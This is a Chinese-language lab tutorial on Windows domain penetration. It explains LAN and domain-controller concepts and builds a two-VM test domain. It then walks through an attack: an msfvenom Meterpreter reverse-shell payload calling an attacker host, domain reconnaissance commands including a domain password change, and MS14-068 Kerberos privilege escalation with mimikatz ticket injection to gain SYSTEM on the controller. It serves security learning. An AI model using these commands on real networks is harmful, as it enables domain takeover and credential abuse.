内网渗透真是博大精深,测试环境准备起来也有点麻烦,遇到很多问题
0x01 概念
内网
局域网(Local Area Network, LAN),又称内网。内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet。内网的计算机可向Internet上的其他计算机发送连接请求,但Internet上其他的计算机无法向内网的计算机发送连接请求。
域和域控制器
域
域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。
域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。
域控制器
不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
0x02 环境搭建
两个虚拟机,用Windows server 2003 r2做域控,域用户win7
域控安装简要过程:
win+r运行dcpromo创建新域
配置新域的DNS全名和NetBIOS名
AD需要DNS服务支持,这里会检测并安装DNS服务
- 安装来源发现就是安装盘*内的I386文件夹
重启
可以看:搭建AD域环境
创建用户
win7加入域
DNS要设置为域控的IP,否则会出现网络路径错误
这是会重启,开机切换用户来登陆域
域环境结构
域:TEST.com
域控:windows server 2003 r2,ip:10.211.55.26
域成员:windows 7 x64,ip:10.211.55.19
0x04域渗透
假设控制了域网内的一台电脑,要将权限从local admin 提高到Domain admin,访问包括Domain Controller在内的域内中任何一台电脑
首先得拿到一个shell
- 上传Metasploit的反弹马,shell下执行命令
生成反弹马(这里我win7没有管理员权限,启动不了web服务,遂用exe的)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.201 LPORT=7777 -f exe > ./Desktop/re.exe
msfconsole设置监听并启动
输入shell进入控制台,因为win7是中文控制台,会有乱码
常用信息收集命令:
echo %PROCESSOR_ARCHITECTURE%
//查看系统版本位数
netstat -ano
//查看开放的端口
net config Workstation
//当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user /domain b404 pass
//修改域内用户密码,需要管理员权限
tasklist /S IP地址 /U 域名\用户名 /P /V
//查看远程计算机进程
tasklist /svc
//查看进程
taskkill /im 进程名称(cmd.exe)
//结束进程
taskkill /pid[进程码]
//-t
(结束该进程) -f
(强制结束该进程以及所有子进程)
ipconfig /all
//用来查看当前机器的网络环境,判断是工作组,还是域环境.网段是怎么划分的,每个段有多少台机器,DNS服务器IP是多少。
net view
//用来查看跟本机有关联的机器名.注意,是跟本机有关联的机器,而不是一个段的机器.
net view /domain
//用来查看当前网络环境存在几个域.
net view /domain:xxxx
//查看xxx域中存在的跟本机有关联的机器.
net group "domain admins" /domain
//查看域内管理员.
net user /domain
//查看域内的用户名.
net group "domain computers" /domain
//查看域内所有机器名.
net time /domain
//查看域时间及域服务器的名字
Nslookup -type=SRV _ldap._tcp.
//查询DNS
netstat
//查看连接信息.
net group "Domain Controllers" /domain
//查找域控
nbtstat
//由IP地址得到机器名
ping 扫描内网存活主机:
for /l %i in (1,1,255) do @ping 192.168.200.%i -w 1 -n 1 | find /i"ttl"
查看是否支持PowerShell:if defined PSModulePath (echo support powershell) else (echo not support powershell)
比较全的查询命令:域渗透的整理
MS14-068漏洞复现
这个漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。
貌似主要是Kerberos协议的算法和信息存放以及任意签名的问题,详细原理:深入解读MS14-068漏洞
Kerberos协议
Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。
域控地址
用户名与SID
获取TGT并清除缓存票据MS14-068.exe -u win7@test.com -p Abcdefg123 -s S-1-5-21-2778320292-2955838337-2508653396-1106 -d xc5ca8.test.com
注入TGTmimikatz.exe "kerberos::ptc TGT_win7@test.com.ccache" exit
`TGT_win7@test.com.ccache`是个文件,会在本地生成,注意此文件的路径(被坑了半天才发现)
缓存票据发生变化
访问域控xc5ca8的资源
这时可以传马反弹shell
copy完后添加计划任务,等待反弹
成功获取域控的system权限